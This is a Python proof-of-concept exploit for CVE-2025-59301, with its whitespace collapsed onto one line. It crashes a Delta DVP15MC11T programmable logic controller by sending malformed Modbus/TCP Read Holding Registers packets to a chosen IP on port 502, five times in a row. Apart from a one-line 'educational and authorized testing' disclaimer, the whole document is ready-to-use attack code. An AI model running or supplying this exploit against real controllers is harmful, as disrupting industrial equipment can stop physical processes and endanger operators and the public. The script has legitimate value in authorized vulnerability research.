CVE-2025-59301

#!/usr/bin/env python3 """ CVE-2025-59301 PoC - Delta DVP15MC11T Modbus/TCP DoS Note: This PoC is for educational and authorized testing purposes only. """ import socket import struct import sys def create_malformed_modbus_packet(): """ Create a malformed Modbus/TCP packet to trigger the vulnerability. The vulnerability exists due to lack of proper validation of Modbus/TCP packets. """ # Modbus TCP Header (MBAP) transaction_id = struct.pack('>H', 0x0001) # Transaction Identifier protocol_id = struct.pack('>H', 0x0000) # Protocol Identifier length = struct.pack('>H', 0x0006) # Length (6 bytes for unit ID + function code + data) unit_id = struct.pack('B', 0xFF) # Unit Identifier # Malformed Function Code with invalid parameters function_code = struct.pack('B', 0x03) # Read Holding Registers (with malicious parameters) # Invalid reference number and quantity starting_address = struct.pack('>H', 0xFFFF) # Invalid address quantity = struct.pack('>H', 0xFFFF) # Invalid quantity packet = transaction_id + protocol_id + length + unit_id + function_code + starting_address + quantity return packet def send_dos_packet(target_ip, target_port=502): """ Send malicious Modbus/TCP packet to trigger DoS condition. """ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) try: sock.connect((target_ip, target_port)) print(f"[*] Connected to {target_ip}:{target_port}") # Send malformed packet packet = create_malformed_modbus_packet() sock.send(packet) print(f"[*] Sent malformed Modbus/TCP packet ({len(packet)} bytes)") # Try to receive response try: response = sock.recv(1024) print(f"[*] Received response: {response.hex()}") except socket.timeout: print("[!] No response received - target may be affected") except socket.error as e: print(f"[!] Socket error: {e}") finally: sock.close() def main(): if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") print(f"Example: {sys.argv[0]} 192.168.1.100 502") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 502 print(f"[*] CVE-2025-59301 PoC - Delta DVP15MC11T Modbus/TCP DoS") print(f"[*] Target: {target_ip}:{target_port}") # Send multiple packets to increase effectiveness for i in range(5): print(f"\n[*] Attack iteration {i+1}/5") send_dos_packet(target_ip, target_port) print("\n[*] Attack completed") if __name__ == "__main__": main()

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